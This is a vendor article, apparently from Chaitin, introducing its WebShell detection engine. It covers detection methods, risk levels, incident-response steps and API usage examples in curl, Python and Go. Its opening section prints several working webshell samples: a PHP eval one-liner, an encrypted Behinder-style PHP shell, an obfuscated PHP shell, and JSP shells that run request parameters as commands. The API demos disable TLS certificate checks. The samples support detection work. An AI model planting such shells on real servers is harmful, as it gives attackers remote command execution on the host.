一款WebShell检测引擎的开发与实践

 

什么是 WebShell

顾名思义,WebShell 是黑客用于控制网站服务器的文件,通常以 phpjspaspasp.net 等载体存在于服务器的网站目录下。

常见WebShell

以下是几个常见的 WebShell 样例:

PHP 一句话木马

<?php
    eval($_POST["pass"]);
?>

冰蝎 PHP WebShell

<?php
session_start();
if (isset($_GET['pass'])) {
    $key = substr(md5(uniqid(rand())),16);
    $_SESSION['k'] = $key;
    print $key;
} else {
    $key = $_SESSION['k'];
    $post = file_get_contents("php://input");
    if(!extension_loaded('openssl')) {
        $t = "base64_"."decode";
        $post = $t($post."");
        for($i = 0; $i < strlen($post); $i++) {
            $post[$i] = $post[$i]^$key[$i+1&15]; 
        }
    } else {
        $post = openssl_decrypt($post, "AES128", $key);
    }
    $arr = explode('|',$post);
    $func = $arr[0];
    $params = $arr[1];
    class C{public function __construct($p) {eval($p."");}}
    @new C($params);
}
?>

带混淆的 PHP WebShell

<?php function iJG($BHM) { 
  $BHM=gzinflate(base64_decode($BHM));
  for($i=0;$i<strlen($BHM);$i++) {
    $BHM[$i] = chr(ord($BHM[$i])-1);
  }
   return $BHM;
 } eval(iJG("U1QEAm4QkVaelKupmhAYEBIao1yYVFJSUVCcqhynZcPtYA8A"));?>

JSP 一句话木马

<%Runtime.getRuntime().exec(request.getParameter("pass"));%>

带回显的 JSP WebShell

<%
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("pass")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

处置方案建议

出现 WebShell 是非常严重的安全事件,代表网站已经被攻破,攻击者已经进入企业内网,管理员可按如下流程进行排查:

  1. 与网站管理员和主机管理员确认该文件是否为正常业务文件,从而确认当前事件是否为误报
  2. 事件经过确认后,若业务允许,需立即隔离当前主机
  3. 进行攻击溯源,修复导致 WebShell 的相关漏洞
  4. 删除已存在的 WebShell
  5. 对当前主机进行全面排查,确保清除所有已存在的后门
  6. 安排主机重新上线

 

在线 WebShell 检测

百川云平台的WebShell 检测系统是由长亭科技提供的 WebShell 在线检测引擎,是长亭牧云主机安全管理平台的底层文件检测引擎 guanshan 的集成项目。

检测引擎原理说明

长亭百川 WebShell 检测引擎支持检测 phpjsp 两种文件类型,主要依赖了以下核心技术:

  • 静态文本特征检测
    通过大量文本特征对脚本内容进行快速模式匹配,可覆盖特征较为明显的 WebShell。
  • 骨架哈希检测
    通过词法分析、语法分析等算法对脚本文件进行解析,构建抽象语法树,对 AST 的关键语法特征进行哈希,可对抗隐藏文本特征的 WebShell 免杀方案。
  • 静态语义分析检测
    对脚本内容进行静态语义分析,通过恶意打分模型对文件内容进行评估,判断恶意程度较高的语义行为,可用于对抗自研的 WebShell 和无公开特征的 WebShell。
  • 动态污点追踪检测
    将脚本内容编译为虚拟机字节码,对字节码进行模拟执行,通过污点追踪算法分析程序外部输入和敏感函数调用的关联关系,最终判断外部输入是否有可能通过脚本传入敏感函数,可用于对抗高度混淆和高度变形过的 WebShell。
  • 动态插桩内存检测
    注入 Java 进程,Dump 关键内存数据,配合静态语义分析算法,用于检测动态注入的恶意脚本(内存型 WebShell)。

版本介绍

百川云平台的 WebShell 检测系统目前提供 “基础版”、“高级版” 两个版本可供使用。

  • “基础版” 主要面向个人用户,可以在长亭百川平台免费在线自助开通。
  • “高级版” 主要面向企业用户,可以在开通 “基础版” 的情况下在线提交工单发起申请。

“基础版” 和 “高级版” 的能力对比如下:

基础版 高级版
PHP WebShell 检测 支持 支持
JSP WebShell 检测 / 支持
API 调用检测接口 / 支持
批量检测 / 支持
异步检测 / 支持
检测次数 100 次/天 无限制
检测速度 有限速 无限速
更多高级 Feature 敬请期待 敬请期待

使用说明

点击右上角的 “发起检测” 按钮,选择需要检测的 WebShell 类型,选择需要检测的文件,输入文件标签,即可对该文件发起检测,如图所示:

“标签” 的设计是为了方便使用者在众多的检测记录中方便搜索到自己想要的结果。

若检测到文件存在风险,将会在 “检测记录” 页面生成对应的文件事件,如图所示:

点击对应事件的 “详情” 按钮,可以查看检测结果的细节信息,如图所示:

风险等级说明

百川云平台的WebShell 检测系统支持对 Web 脚本的精细化检测,将 Web 脚本的分为 0 ~ 20 共 21 个风险级别,参考如下:

风险级别 风险说明 处置建议
0 无风险 可直接作为正常业务文件处理
1 ~ 9 低危风险 存在敏感行为,但不会直接形成风险
10 ~ 14 中危风险 存在敏感行为,有可能形成风险
15 ~ 19 高危风险 带有绕过特征的 WebShell,或存在漏洞的业务脚本
20 严重风险 实锤 WebShell

 

自动化调用

API Token

WebShell 检测接口在使用时有认证限制,未授权用户无法直接使用。

平台提供了两种认证方式:

  • 基于 Cookie Session 的认证
  • 基于 HTTP API Token 的认证

在浏览器前台页面登录成功后,提取 Cookie 中的 heap-session-id 即可获得授权身份。

但这种方式操作起来稍显麻烦,且 Session 的有效时间只有 24 小时,不推荐使用。

也可以通过 HTTP API Token 的方式进行快速认证。

通过以下步骤可以创建一个 HTTP API Token

  1. 进入 组织管理 页面
  2. 进入 API Token 子菜单
  3. 点击左上角的 生成 API Token 按钮
  4. 【重要】填写 API 相关信息,设置 WebShell 检测权限
  5. 点击 生成 API Token
  6. HTTPX-Ca-Token 请求头中写入 API Token 即可生效

API 接口

WebShell 检测的接口的地址是:

https://guanshan.rivers.chaitin.cn/api/v1/detect

调用 WebShell 检测接口采用 HTTP Multipart/form-data 的请求格式,其中包含 4 个参数

参数名 参数说明 参数位置 格式
X-Ca-Token 用于认证的 API Token HTTP Header 字符串
file 需要上传做检测的文件 POST Body 文件对象
type 文件类型 POST Body 字符串
tag 文件标签 POST Body json 字符串列表

最终发送的 HTTP 请求样例如下:

POST /api/v1/detect HTTP/1.1
Host: 127.0.0.1:9999
User-Agent: Go-http-client/1.1
Content-Length: 519
Content-Type: multipart/form-data; boundary=07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2
X-Ca-Token: API_TOKEN
Accept-Encoding: gzip

--07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2
Content-Disposition: form-data; name="file"; filename="/tmp/webshell.php"
Content-Type: application/octet-stream

<?php eval($_POST[x]);

--07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2
Content-Disposition: form-data; name="tag"

["test","webshell"]
--07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2
Content-Disposition: form-data; name="type"

php
--07d69f5b8b9b273ee8e5330e7c2b10faade6b2f06ba0f754ab958bfa96b2--

接口调用成功后,服务器将以 JSON 格式响应请求,响应内容可参考如下表格:

参数名 参数说明 格式
code 检测状态,0 代表成功 数字
message 检测发生异常时的报错消息 字符串
data WebShell 检测结果 JSON 对象
data.id 随机生成的检测事件 ID 字符串
data.type WebShell 文件类型 字符串
data.reason 对检测原理的说明 markdown 字符串
data.risk_level WebShell 风险级别 数字
data.engine 内部参数,可忽略 字符串

服务端响应样例如下:

{
    "code": 0,
    "message": "",
    "data": {
        "risk_level": 20,
        "id": "bd0c23ef-c6c5-4a08-b99e-3724b1fa9ec4",
        "type": "php_webshell",
        "reason": "```php\n\u003c?php eval($_POST[x]);\n\n```",
        "engine":"guanshan"
    }
}

使用 Demo

使用 curl 调用可以参考如下代码

curl -k 'https://guanshan.rivers.chaitin.cn/api/v1/detect' \
    -H 'X-Ca-Token: API_TOKEN'\
    -F 'type=php'\
    -F 'tag=["test", "webshell"]'\
    -F 'file=@./webshell.php'

使用 Python 调用可以参考如下代码

import requests
import json

token = "API_TOKEN"
url   = "https://guanshan.rivers.chaitin.cn/api/v1/detect"

def detect(path, tags):
    req = requests.post(
        url,
        data = {
            "tag" : json.dumps(tags),
            "type": "php"
        },
        files = {
            "file": open(path, 'rb')
        },
        headers = {
            "X-Ca-Token":  token
        },
        verify = False
    )
    return req.json()

result = detect("./webshell.php", ["test", "webshell"])
print(result)

使用 Golang 调用可以参考如下代码

package main

import (
    "io"
    "os"
    "fmt"
    "net/http"
    "io/ioutil"
    "crypto/tls"
    "bytes"
    "mime/multipart"
    "encoding/json"
)

const token = "API_TOKEN"
const url   = "https://guanshan.rivers.chaitin.cn/api/v1/detect"

func detect(path string, tags []string) (string, error) {
    file, err := os.Open(path)
    if err != nil {
        return "", err
    }
    defer file.Close()

    buf    := new(bytes.Buffer)
    writer := multipart.NewWriter(buf)

    part, err := writer.CreateFormFile("file", path)
    if err != nil {
        return "", err
    }

    _, err = io.Copy(part, file)
    if err != nil {
        return "", err
    }

    stags, err := json.Marshal(tags)
    if err != nil {
        return "", err
    }

    _ = writer.WriteField("tag", string(stags))
    _ = writer.WriteField("type", "php")

    err = writer.Close()
    if err != nil {
        return "", err
    }

    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    client := &http.Client{Transport: tr}

    req, err := http.NewRequest("POST", url, buf)
    if err != nil {
        return "", err
    }

    req.Header.Add("X-Ca-Token", token)
    req.Header.Add("Content-Type", writer.FormDataContentType())

    resp, err := client.Do(req)
    if err != nil {
        return "", err
    }

    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return "", err
    }

    return string(body), nil
}

func main() {
    fmt.Println(detect("/tmp/webshell.php", []string{"test", "webshell"}))
}

 

鸣谢

长亭科技从 2017 年开始投入 WebShell 检测引擎研发,目前已经超过 5 年时间,先后尝试过文件情报、文本特征、机器学习、语义分析、污点追踪等多种技术方向,也尝试过开源项目、免费工具、企业级检测引擎、在线工具等多种项目形式,挖过坑、踩过坑,到现在终于能把效果做到逐渐令人满意,感谢 Cyrusaraleiiiphith0nmapleD_infinite 等多位大佬在研发过程中的贡献,感谢 P 师傅给项目赐名 关山

欢迎兄弟姐妹们前来试用,欢迎甲方朋友使用本项目扫描自家的业务,欢迎乙方朋友将本项目集成到自己的项目中,行业同僚的信赖是一直以来都是长亭 WebShell 检测团队努力的动力。

产品使用地址:https://rivers.chaitin.cn/
欢迎师傅们加群交流:

(完)